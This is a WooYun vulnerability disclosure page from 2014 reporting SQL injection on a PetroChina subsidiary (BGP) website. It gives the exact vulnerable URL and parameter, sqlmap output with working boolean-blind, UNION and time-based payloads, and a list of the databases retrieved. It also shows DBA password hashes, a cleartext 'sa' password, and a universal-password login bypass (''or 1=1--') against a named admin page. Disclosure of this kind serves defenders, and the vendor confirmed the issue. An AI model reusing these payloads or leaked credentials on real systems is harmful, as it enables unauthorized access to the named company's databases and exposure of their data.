当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-086404

漏洞标题:中国石油某分站存在一处SQL注入导致泄露多个网站数据

相关厂商:中国石油天然气集团公司

漏洞作者: aaaaty

提交时间:2014-12-09 10:02

修复时间:2015-01-23 10:16

公开时间:2015-01-23 10:16

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-12-09: 细节已通知厂商并且等待厂商处理中
2014-12-10: 厂商已经确认,细节仅向厂商公开
2014-12-20: 细节向核心白帽子及相关领域专家公开
2014-12-30: 细节向普通白帽子公开
2015-01-09: 细节向实习白帽子公开
2015-01-23: 细节向公众公开

简要描述:

中国石油某分站存在一处SQL注入导致泄露多个网站数据 192+27+6+131+9+28+7 400个表

详细说明:

注入点泄露的是中国石油集团东方地球物理公司的数据库
注入点:

http://ffyj.bgpintl.com/Web/ShowShared.aspx?m=research&type=Research&strID=31


搜狗截图20141208162319.png


sqlmap:
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: strID
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: m=research&type=Research&strID=31' AND 4998=4998 AND 'uaSC'='uaSC
Type: UNION query
Title: Generic UNION query (NULL) - 11 columns
Payload: m=research&type=Research&strID=-4462' UNION ALL SELECT NULL,NULL,NU
LL,NULL,NULL,CHAR(113)+CHAR(98)+CHAR(120)+CHAR(122)+CHAR(113)+CHAR(116)+CHAR(90)
+CHAR(101)+CHAR(88)+CHAR(104)+CHAR(77)+CHAR(69)+CHAR(119)+CHAR(104)+CHAR(100)+CH
AR(113)+CHAR(106)+CHAR(113)+CHAR(107)+CHAR(113),NULL,NULL,NULL,NULL,NULL--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase OR time-based blind (heavy query)
Payload: m=research&type=Research&strID=-8736' OR 5227=(SELECT COUNT(*) FROM
sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS
sys5,sysusers AS sys6,sysusers AS sys7) AND 'ZOFg'='ZOFg
---
[16:12:53] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008 or Vista
web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 7.0
back-end DBMS: Microsoft SQL Server 2005
[16:12:53] [INFO] fetching database names
[16:12:53] [WARNING] reflective value(s) found and filtering out
[16:12:53] [INFO] the SQL query used returns 11 entries
[16:12:54] [INFO] retrieved: bbsmax
[16:12:54] [INFO] retrieved: BGP_Abroad_Item
[16:12:54] [INFO] retrieved: FFYJ_datebase
[16:12:55] [INFO] retrieved: LT_BBS
[16:12:55] [INFO] retrieved: master
[16:12:55] [INFO] retrieved: model
[16:12:56] [INFO] retrieved: msdb
[16:12:56] [INFO] retrieved: ReportServer
[16:12:56] [INFO] retrieved: ReportServerTempDB
[16:12:56] [INFO] retrieved: tempdb
[16:12:57] [INFO] retrieved: Timber_Exam_Gov
available databases [11]:
[*] bbsmax
[*] BGP_Abroad_Item
[*] FFYJ_datebase
[*] LT_BBS
[*] master
[*] model
[*] msdb
[*] ReportServer
[*] ReportServerTempDB
[*] tempdb
[*] Timber_Exam_Gov

包括方法研究所http://ffyj.bgpintl.com/ 
中国石油东方地球物理公司国际部http://www.bgpintl.com/
国际部工资管理系统http://w3.bgpintl.com/login.aspx
培训考试系统均泄露 http://peixun.bgpintl.com/web/Index.aspx


权限很高:current user is DBA: True
泄露了明文数据库用户密码:
database management system users password hashes:
[*] sa [1]:
password hash: 0x01004086ceb645dd76333282a7f501bca29748948a82f113d6e5
header: 0x0100
salt: 4086ceb6
mixedcase: 45dd76333282a7f501bca29748948a82f113d6e5
clear-text password: sasasa
[*] ttos [1]:
password hash: 0x010031ef1949706f17f997b202278cfce845c6f7ed2b99a4a9ea
header: 0x0100
salt: 31ef1949
mixedcase: 706f17f997b202278cfce845c6f7ed2b99a4a9ea
2.东方地球物理公司后台万能密码登陆 http://www.bgp.com.cn/login.aspx
'or 1=1-- (用户名密码均为)

03.jpg

可以修改网站基本信息

漏洞证明:

available databases [11]:
[*] bbsmax
[*] BGP_Abroad_Item
[*] FFYJ_datebase
[*] LT_BBS
[*] master
[*] model
[*] msdb
[*] ReportServer
[*] ReportServerTempDB
[*] tempdb
[*] Timber_Exam_Gov

PS:
http://wooyun.org/bugs/wooyun-2014-056884
原理同上,没修复

修复方案:

敏感字符过滤

版权声明:转载请注明来源 aaaaty@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2014-12-10 16:44

厂商回复:

感谢,正在整改

最新状态:

暂无


漏洞评价:

评论